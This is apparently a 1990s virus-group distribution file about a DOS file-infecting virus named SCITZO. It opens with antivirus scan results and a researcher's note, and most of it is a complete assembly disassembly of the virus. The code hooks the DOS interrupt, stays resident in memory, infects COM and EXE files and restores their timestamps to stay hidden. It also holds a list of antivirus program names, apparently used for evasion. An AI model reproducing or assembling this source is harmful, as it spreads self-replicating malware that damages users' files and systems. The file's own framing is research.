ÛÛÛÛÛÛÛ Û Û ÛÛÛÛÛÛÛÛÛ Û ÛÛÛÛÛÛÛÛ Û Û Û Û Û ÛÛÛ ÛÛ Û Û Û Û Û Û ÛÛ ÛÛÛÛÛÛÛÛÛÛÛ Û Û Û Û Û Û Û Û Û Û Û Û Û Û Û Û Û Û ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ Û ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ Û Û ÛÛÛÛÛ Û Û ÛÛÛÛÛ Û Û Û Û Û Û Û Û ÛÛ Û Û Û Û Û Û Û Û Û ÛÛÛÛÛ Û Û Û Û Û Û Û Û Û Û Û Û Û Û Û Û Û ÛÛÛÛÛÛÛÛÛ Û Û Û Û Û Û Û Û Û Û ÛÛ Û Û Û ÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ Û Û Û Û Û Û ÛÛÛÛÛÛ Distributed By The American Virus Creation and Research Society ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Name Of Virus: SCITZO ----------------------------------------------------------------------------- Alias: ----------------------------------------------------------------------------- Type Of Code: Stealth ----------------------------------------------------------------------------- VSUM Information - (NONE) ----------------------------------------------------------------------------- Signature: Unknown ----------------------------------------------------------------------------- Antivirus Detection: (1) ThunderByte Anti Virus (TBAV) reported SCITZO.COM as: SCITZO.COM probably infected by an unknown virus c No checksum / recovery information (Anti-Vir.Dat) available. F Suspicious file access. Might be able to infect a file. M Memory resident code. The program might stay resident in memory. U Undocumented interrupt/DOS call. The program might be just tricky but can also be a virus using a non-standard way to detect itself. Z EXE/COM determination. The program tries to check whether a file is a COM or EXE file. Viruses need to do this to infect a program. B Back to entry point. Contains code to re-start the program after modifications at the entry-point are made. Very usual for viruses. (2) Frisk Software's F-Protect (F-PROT) reported SCITZO.COM as nothing. (3) McAfee Softwares Anti Virus (SCAN.EXE) reported SCITZO.COM as nothing. (4) MicroSoft Anti Virus (MSAV.EXE) reported SCITZO.COM as nothing. ----------------------------------------------------------------------------- Execution Results: Upon execution SCITZO.COM did not change any checksums on any file contained within the hard disk. The bait files were left untouched, but SCITZO.COM changed itself without changing its checksum. No memory was noticably allocated for the virus. ----------------------------------------------------------------------------- Researcher's Note: If SCITZO.COM is, in fact, a virus then it is 100% stealth. Checksums of files were left unscathed, as well as file dates \ sizes \ times of creation, etc. Memory was also left as if never touched. This might not be a virus, but in the disassembly there are some interesting things to note. For instance the "DB '.COM'" is rather suspicious, for it is defining a byte with ".COM" in it. That leads me to believe that it checks for COM files, which is essential to the com infector. Another supporter of the COM infection is when the program is getting bytes, it just so happens that it gets 3 bytes, the # of bytes where the JMP statement will now go, "mov CX,3" was the preperation for the INT statement. ----------------------------------------------------------------------------- Complete Disassembly: PAGE 60,132 data_1 = 1 data_e = 0Eh data_1d = 1Dh data_34 = 34h data_36 = 36h data_44 = 44h data_e9 = 0E9h data_146 = 146h data_148 = 148h ;ÄÄÄÄÄÄÄÄÄÄ CODE_SEG_1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CODE_SEG_1 segment para public assume CS:CODE_SEG_1, DS:CODE_SEG_1, SS:CODE_SEG_1, ES:CODE_SEG_1 org 100h ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ ENTRY POINT ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_start ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_start proc far start: ; N-Ref=0 mov CX,0FFFFh loop_loc_2: ; N-Ref=1 mov SI,621h loop loop_loc_2 ; Loop if CX > 0 nop ; No operation mov AX,CS mov DS,AX mov SI,offset var1_16e mov AL,0 mov AX,24Fh mov CX,AX mov AX,CX mov CX,AX loop_loc_3: ; N-Ref=1 xor Word Ptr [SI],+0 nop ; 1 Fixup sub SI,-2 nop ; 1 Fixup loop loop_loc_3 ; Loop if CX > 0 jmp short loc_5 proc_start endp ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_2 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_2 proc near call near ptr proc_3 mov AH,40h ; '@' mov CX,49Ch mov DX,69h pushf call far ptr proc_1 call near ptr proc_3 retn proc_2 endp ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_3 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_3 proc near mov SI,69h mov CX,24Fh loop_loc_4: ; N-Ref=1 xor Word Ptr [SI],+0 nop ; 1 Fixup inc SI inc SI loop loop_loc_4 ; Loop if CX > 0 retn proc_3 endp db 90h var1_14c db ' So, you''ve found this text? ' loc_5: ; N-Ref=1 call near ptr proc_4 ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_4 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_4 proc near pop SI sub SI,+6Ch push CS pop DS mov AX,0ABCDh int 21h cmp AX,4148h je loc_notfound ; Jump if equal ( = ) mov AH,4Ah ; 'J' mov BX,0FFFFh int 21h ; DOS func ( ah ) = 4Ah ; Modify allocated memory block ;BX-requested size,paragraphs ; ES-seg addrs of block ;if CF=1 AX-ret code ; BX-max possible size if fail sub BX,+52h mov AH,4Ah ; 'J' int 21h ; DOS func ( ah ) = 4Ah ; Modify allocated memory block ;BX-requested size,paragraphs ; ES-seg addrs of block ;if CF=1 AX-ret code ; BX-max possible size if fail mov AH,48h ; 'H' mov BX,51h int 21h ; DOS func ( ah ) = 48h ; Allocate memory ;BX-mem request in paragraphs ;if CF=1 AX-ret code, else ; AX-seg BX-block size if fail jb loc_notfound ; Jump if below ( < ) dec AX mov ES,AX ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß assume ES:nothing ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ mov Word Ptr ES:data_1,8 inc AX mov ES,AX xor DI,DI mov CX,505h repz movsb ; Repeat if ZF = 1, CX > 0 ; Move byte from DS:SI to ES:DI push ES pop DS ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß assume DS:nothing ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ mov AX,3521h int 21h ; DOS func ( ah ) = 35h ; Get interrupt vector ;AL-interrupt number ;ES:BX-interrupt vector mov Word Ptr DS:data_146,BX mov Word Ptr DS:data_148,ES mov DX,12Dh mov AX,2521h int 21h ; DOS func ( ah ) = 25h ; Set interrupt vector ;AL-intrpt number ; DS:DX-intrpt handler push CS pop DS ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß assume DS:CODE_SEG_1 ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ call near ptr loc_notfound inc BX cmp BL,Byte Ptr [SI+44h] dec DI push BX pop SP inc BP inc SP dec CX push SP var1_1ce db '.COM' db 0, 5Ah, 0B8h, 2, 3Dh, 0CDh db 21h, 93h, 0B4h, 3Eh, 0CDh, 21h db 0Eh, 0Eh, 1Fh, 7, 0E8h, 0Ah db 0, 0B8h, 0, 4Ch, 0E9h, 2 db 0, 0 loc_7: ; N-Ref=1 jmp far ptr loc_notfound dw 67Ch, 7500h, 0BF0Ah, offset start db 0A5h, 0A4h, 0B8h, 0, 1, 0FFh db 0E0h loc_8: ; N-Ref=1 mov AX,CS add AX,1234h mov Word Ptr [SI+0Ah],AX push SS pop AX sub AX,10h mov ES,AX mov DS,AX ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß assume DS:nothing ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ push SS pop AX add AX,1234h mov BX,1234h cli ; Disable interrupts mov SS,AX ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß assume SS:nothing ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ mov SP,BX sti ; Enable interrupts xor AX,AX xor BX,BX xor CX,CX xor DX,DX xor SI,SI xor DI,DI jmp short loc_7 dw 0CD3Dh, 75ABh, 0B804h, 4148h dw 3DCFh, 4B00h, 774h, 0FC80h var1_23d db 3Dh, 74h, 0Ah, 0EBh, 3 loc_9: ; N-Ref=1 call near ptr proc_7 proc_4 endp ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_6 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_6 proc near loc_10: ; N-Ref=2 jmp far ptr loc_1 dw 657h, 5051h, 71Eh, 40B9h dw 8B00h, 0B0FAh, 0F22Eh, 58AEh dw 8159h db '=COu' dw 8008h, 27Dh, 754Dh, 0EB02h db 0Ch loc_11: ; N-Ref=2 cmp Word Ptr [DI],5845h jne loc_13 ; Jump if not equal ( != ) cmp Byte Ptr [DI+2],45h ; 'E' jne loc_13 ; Jump if not equal ( != ) loc_12: ; N-Ref=1 pop ES pop DI call near ptr proc_7 jmp short loc_10 loc_13: ; N-Ref=2 pop ES pop DI call near ptr proc_8 jmp short loc_10 proc_6 endp ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_7 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_7 proc near push AX push BX push CX push DX push DS push ES push CS pop ES ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß assume ES:CODE_SEG_1 ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ cld ; Clear direction flag mov DI,offset var1_4c9 mov CX,0Ch loop_loc_14: ; N-Ref=1 mov SI,DX lodsw ; Load word at DS:SI to AX scasw ; Scan DS:SI for word in AX je loc_15 ; Jump if equal ( = ) inc DI loop loop_loc_14 ; Loop if CX > 0 jmp short loc_16 loc_15: ; N-Ref=1 lodsb ; Load byte at DS:SI to AL scasb ; Scan DS:SI for byte in AL var1_29f dw 840Fh var1_2a1 dw 19Dh loc_16: ; N-Ref=1 mov AX,3D02h pushf push CS call near ptr proc_6 jnb loc_17 ; Jump if not below ( >= ) jmp loc_19 loc_17: ; N-Ref=1 mov BX,AX push CS pop DS ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß assume DS:CODE_SEG_1 ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ mov AX,5700h int 21h ; DOS func ( ah ) = 57h ; Get/set file date and time ;AL-(0/1)get/set flag BX-handle ; CX/DX-time/date,if AL=1 ;if CF=1 AX-extended err code ; CX/DX-time/date if AL=0 mov Word Ptr var1_2a3,DX ; [603D:02A3] = 2B8h mov Word Ptr var1_2a1,CX ; [603D:02A1] = 19Dh and CL,1Fh cmp CL,3 dw 840Fh, 175h, 3FB4h, 0E5BAh dw 0B900h, 3, 21CDh, 3E81h dw 0E5h var1_2d9 db 'MZt' db 16h, 81h, 3Eh, 0E5h, 0 var1_2e1 db 'ZMt' db 0Eh, 81h, 3Eh, 0E5h, 0, 0E9h db 80h, 74h, 3, 0E9h, 0D2h, 0 db 0E9h, 4Dh, 1, 0BEh, 0EBh, 0 db 0C6h, 4, 1, 0B8h, 0, 42h db 33h, 0C9h, 33h, 0D2h, 0CDh, 21h db 0B4h, 3Fh, 0BAh, 0EDh, 4, 0B9h db 18h, 0, 0CDh, 21h, 0B8h, 2 db 42h, 33h, 0C9h, 33h, 0D2h, 0CDh db 21h, 0A3h, 9Fh, 2, 3Dh, 0FAh db 0FAh, 0Fh, 87h, 21h, 1, 0Bh db 0D2h, 0Fh, 85h, 1Bh, 1, 8Bh db 16h, 0F5h, 4, 0B1h, 4, 0D3h db 0E2h, 2Bh, 0C2h, 0A3h, 9Dh, 2 db 8Bh, 0D0h, 81h, 0C2h, 69h, 0 db 89h, 16h, 0Eh, 0, 0A1h, 1 db 5, 0A3h, 0EDh, 0, 0A1h, 3 db 5, 0A3h, 3, 1, 0A1h, 0FBh db 4, 0A3h, 14h, 1, 0A1h, 0FDh db 4, 0A3h, 17h, 1, 0E8h, 0D6h db 1, 0E8h, 9Ah, 1, 0A1h, 9Fh db 2, 33h, 0D2h, 5, 5, 5 db 0B9h, 0, 2, 0F7h, 0F1h, 40h db 89h, 16h, 0EFh, 4, 0A3h, 0F1h db 4, 0C7h, 6, 0FBh, 4, 0 db 0, 0C7h, 6, 0FDh, 4, 0FFh db 0FFh, 0C7h, 6, 3, 5, 0 db 0, 0A1h, 9Dh, 2, 0A3h, 1 db 5, 0B8h, 0, 42h, 33h, 0C9h db 33h, 0D2h, 0CDh, 21h, 0B4h, 40h db 0BAh, 0EDh, 4, 0B9h, 18h, 0 db 0CDh, 21h, 0E9h, 0A3h db 9 dup (0) var1_3a5 db 0Dh, 0Ah db 'I fee' var1_3ac db 'l a little scitzo...' dw 0A0Dh loc_18: ; N-Ref=0 mov SI,0EBh mov Byte Ptr [SI],0 mov AX,4202h xor CX,CX xor DX,DX int 21h ; DOS func ( ah ) = 42h ; Move file pointer ;AL-method code BX-file handle ; CX_DX-offset value ;if CF=1 AX-ret code ; DX_AX-new ptr location mov DX,AX add DX,offset loc_5 mov Word Ptr DS:data_e,DX ; [603D:000E] = 0B20h sub AX,3 mov Word Ptr DS:data_e9,AX ; [603D:00E9] = 200Bh call near ptr proc_12 call near ptr proc_10 mov AX,4200h xor CX,CX xor DX,DX int 21h ; DOS func ( ah ) = 42h ; Move file pointer ;AL-method code BX-file handle ; CX_DX-offset value ;if CF=1 AX-ret code ; DX_AX-new ptr location mov AH,40h ; '@' mov CX,3 mov DX,0E8h int 21h ; DOS func ( ah ) = 40h ; Write to file or device ;BX-file handle ; CX-bytes to read DS:DX-DTA ;if CF=0 AX-bytes read ; else AX-ret code jmp short loc_19 ;ÍÍÍÍÍÍÍÍÍÍ External Entry into current procedure ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ proc_8: push AX push BX push CX push DX push DS push ES mov AX,3D02h pushf push CS call near ptr proc_6 jb loc_19 ; Jump if below ( < ) xchg BX,AX mov AX,5700h int 21h ; DOS func ( ah ) = 57h ; Get/set file date and time ;AL-(0/1)get/set flag BX-handle ; CX/DX-time/date,if AL=1 ;if CF=1 AX-extended err code ; CX/DX-time/date if AL=0 mov Word Ptr var1_2a3,DX ; [603D:02A3] = 2B8h mov Word Ptr var1_2a1,CX ; [603D:02A1] = 19Dh and CL,1Fh cmp CL,3 je loc_19 ; Jump if equal ( = ) mov AH,2Ch ; ',' int 21h ; DOS func ( ah ) = 2Ch ; Get time ;CL-min CH-hours DH-seconds ; DL-1/100 of secs cmp DL,0 jne loc_19 ; Jump if not equal ( != ) mov AX,4202h xor CX,CX xor DX,DX int 21h ; DOS func ( ah ) = 42h ; Move file pointer ;AL-method code BX-file handle ; CX_DX-offset value ;if CF=1 AX-ret code ; DX_AX-new ptr location push CS pop DS mov AH,40h ; '@' mov DX,offset var1_2a5 mov CX,1Dh int 21h ; DOS func ( ah ) = 40h ; Write to file or device ;BX-file handle ; CX-bytes to read DS:DX-DTA ;if CF=0 AX-bytes read ; else AX-ret code loc_19: ; N-Ref=5 push CS pop DS mov AX,5701h mov CX,Word Ptr var1_2a1 ; [603D:02A1] = 19Dh mov DX,Word Ptr var1_2a3 ; [603D:02A3] = 2B8h and CL,0E0h or CL,3 int 21h ; DOS func ( ah ) = 57h ; Get/set file date and time ;AL-(0/1)get/set flag BX-handle ; CX/DX-time/date,if AL=1 ;if CF=1 AX-extended err code ; CX/DX-time/date if AL=0 mov AH,3Eh ; '>' int 21h ; DOS func ( ah ) = 3Eh ; Close file handle ;BX-file handle ;if CF=1 AX-ret code pop ES pop DS pop DX pop CX pop BX pop AX retn proc_7 endp var1_460 db ' SCITZO - by "RED A", Lund, Sweden 1994 ' db 0B8h, 8Bh, 0F0h, 0BBh, 87h, 0F3h db 0BEh, 0B0h, 0, 0B8h, 4Fh, 2 db 8Bh, 0C8h, 8Bh, 0C1h, 8Bh, 0C8h db 0BBh, 83h, 14h, 81h, 0EBh, 34h db 12h, 87h, 0CBh, 0BFh, 0D7h, 0ABh db 81h, 0C7h loop_loc_20: ; N-Ref=1 js loc_27 ; Jump on sign ( < 0 ) mov CX,DI inc SI inc SI loop_loc_21: ; N-Ref=1 loop loop_loc_20 ; Loop if CX > 0 dec BX inc BX add SI,+2 loop loop_loc_21 ; Loop if CX > 0 inc DI sub SI,-2 nop ; 1 Fixup loop loop_loc_22 ; Loop if CX > 0 mov CX,0FFFFh loop_loc_23: ; N-Ref=1 mov SI,621h loop loop_loc_23 ; Loop if CX > 0 nop ; No operation add CX,8077h loop_loc_24: ; N-Ref=1 mov SI,2133h loopnz loop_loc_24 ; Loop if ZF = 0, CX > 0 sub CX,0ABCDh loop_loc_25: ; N-Ref=1 mov DI,2333h loop loop_loc_25 ; Loop if CX > 0 mov AX,CS mov DS,AX mov DX,CS mov DS,DX mov AH,27h ; ''' push CS pop DS ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_9 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_9 proc near mov SI,27h mov CX,21h loop_loc_26: ; N-Ref=1 xor Word Ptr [SI],+0 nop ; 1 Fixup inc SI inc SI loop loop_loc_26 ; Loop if CX > 0 retn proc_9 endp ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_10 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_10 proc near call near ptr proc_9 mov AH,2Ch ; ',' int 21h ; DOS func ( ah ) = 2Ch ; Get time ;CL-min CH-hours DH-seconds ; DL-1/100 of secs mov Word Ptr DS:data_1d,DX ; [603D:001D] = 200Bh mov Word Ptr DS:data_44,DX ; [603D:0044] = 0B20h mov Word Ptr var1_3ed,DX ; [603D:03ED] = 0CDD2h call near ptr proc_9 mov AH,40h ; '@' mov CX,69h xor DX,DX int 21h ; DOS func ( ah ) = 40h ; Write to file or device ;BX-file handle ; CX-bytes to read DS:DX-DTA ;if CF=0 AX-bytes read ; else AX-ret code call near ptr proc_9 call near ptr proc_11 retn proc_10 endp ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_11 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_11 proc near mov AX,Word Ptr var1_146 ; [603D:0146] = 4646h mov Word Ptr DS:data_34,AX ; [603D:0034] = 0B20h mov AX,Word Ptr var1_148 ; [603D:0148] = 0F8E2h mov Word Ptr DS:data_36,AX ; [603D:0036] = 0B20h call near ptr proc_3 call near ptr proc_9 retn proc_11 endp ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ ;ħ ;ħ PROCEDURE proc_12 ;ħ ;ħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħħ proc_12 proc near mov AH,2Ch ; ',' int 21h ; DOS func ( ah ) = 2Ch ; Get time ;CL-min CH-hours DH-seconds ; DL-1/100 of secs push DS pop ES mov AX,DX and AX,3 cmp AL,3 jne loc_28 ; Jump if not equal ( != ) dec AL loc_28: ; N-Ref=1 mov CL,3 mul CL ; AX = AL * data mov SI,388h add SI,AX mov DI,0Dh movsb ; Move byte from DS:SI to ES:DI inc DI inc DI movsw ; Move word from DS:SI to ES:DI mov AX,DX dw 0E8C1h, 2502h, 3, 33Ch dw offset loc_12 dw 0C8FEh, 9B1h, 0E1F6h dw 91BEh, 303h, 0BFF0h, 12h db 4 dup (0A5h) dw 8BA4h, 0C1C2h, 4E8h, 325h dw 3C00h, 7503h, 0FE02h, 0B1C8h dw 0F606h, 0BEE1h, var1_3ac, 0F003h dw 1FBFh, 0A500h, 0A5A5h, 2CB4h dw 21CDh, 0C28Bh, 0E8C1h, 2503h dw 3, 33Ch, offset loc_12 dw 0C8FEh dw 9B1h, 0E1F6h, 0BEBEh, 303h dw 0BFF0h, 0 db 4 dup (0A5h) dw 8BA4h, 0D1C2h, 25E8h, 3 dw 33Ch, offset loc_12 dw 0C8FEh loc_29: ; N-Ref=1 mov CL,4 mul CL ; AX = AL * data mov SI,offset var1_3d9 add SI,AX mov DI,0 movsw ; Move word from DS:SI to ES:DI movsw ; Move word from DS:SI to ES:DI retn proc_12 endp var1_5c9 db 'TBATBSF-PVSHMSATBCCPAVSAVIRSCACLETOO' db 24 dup (0) CODE_SEG_1 ends end start Run Once, and Comapared to Original (Above): ; FILE CREATED BY FILE COMPARE v.1.2 ; DEVELOPED BY: ; MICRO PROFESSOR SOFTWARE, ; ALONG WITH AMATEUR VIRUS CREATION & RESEARCH GROUP. ; ASCII CODE! ;---------------------------------------------------------------------------- mov Word Ptr DS:data_e,DX ; [603D:000E] = 0B20h mov Word Ptr DS:data_e,DX ; [603D:000E] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_1d,DX ; [603D:001D] = 200Bh mov Word Ptr DS:data_1d,DX ; [603D:001D] = 501h ;---------------------------------------------------------------------------- ; END OF FIRST FILE, EXTRA CODE IS FROM SECOND FILE Run Twice Compared to Original (Above): ; FILE CREATED BY FILE COMPARE v.1.2 ; DEVELOPED BY: ; MICRO PROFESSOR SOFTWARE, ; ALONG WITH AMATEUR VIRUS CREATION & RESEARCH GROUP. ; ASCII CODE! ;---------------------------------------------------------------------------- mov Word Ptr DS:data_e,DX ; [603D:000E] = 0B20h mov Word Ptr DS:data_e,DX ; [603D:000E] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_e9,AX ; [603D:00E9] = 200Bh mov Word Ptr DS:data_e9,AX ; [603D:00E9] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_1d,DX ; [603D:001D] = 200Bh mov Word Ptr DS:data_1d,DX ; [603D:001D] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_44,DX ; [603D:0044] = 0B20h mov Word Ptr DS:data_44,DX ; [603D:0044] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_34,AX ; [603D:0034] = 0B20h mov Word Ptr DS:data_34,AX ; [603D:0034] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_36,AX ; [603D:0036] = 0B20h mov Word Ptr DS:data_36,AX ; [603D:0036] = 0 ;---------------------------------------------------------------------------- ; END OF FIRST FILE, EXTRA CODE IS FROM SECOND FILE Run Twice, and Compared to Run Once ; FILE CREATED BY FILE COMPARE v.1.2 ; DEVELOPED BY: ; MICRO PROFESSOR SOFTWARE, ; ALONG WITH AMATEUR VIRUS CREATION & RESEARCH GROUP. ; ASCII CODE! ;---------------------------------------------------------------------------- mov Word Ptr DS:data_e9,AX ; [603D:00E9] = 200Bh mov Word Ptr DS:data_e9,AX ; [603D:00E9] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_1d,DX ; [603D:001D] = 501h mov Word Ptr DS:data_1d,DX ; [603D:001D] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_44,DX ; [603D:0044] = 0B20h mov Word Ptr DS:data_44,DX ; [603D:0044] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_34,AX ; [603D:0034] = 0B20h mov Word Ptr DS:data_34,AX ; [603D:0034] = 0 ;---------------------------------------------------------------------------- mov Word Ptr DS:data_36,AX ; [603D:0036] = 0B20h mov Word Ptr DS:data_36,AX ; [603D:0036] = 0 ;---------------------------------------------------------------------------- ; END OF FIRST FILE, EXTRA CODE IS FROM SECOND FILE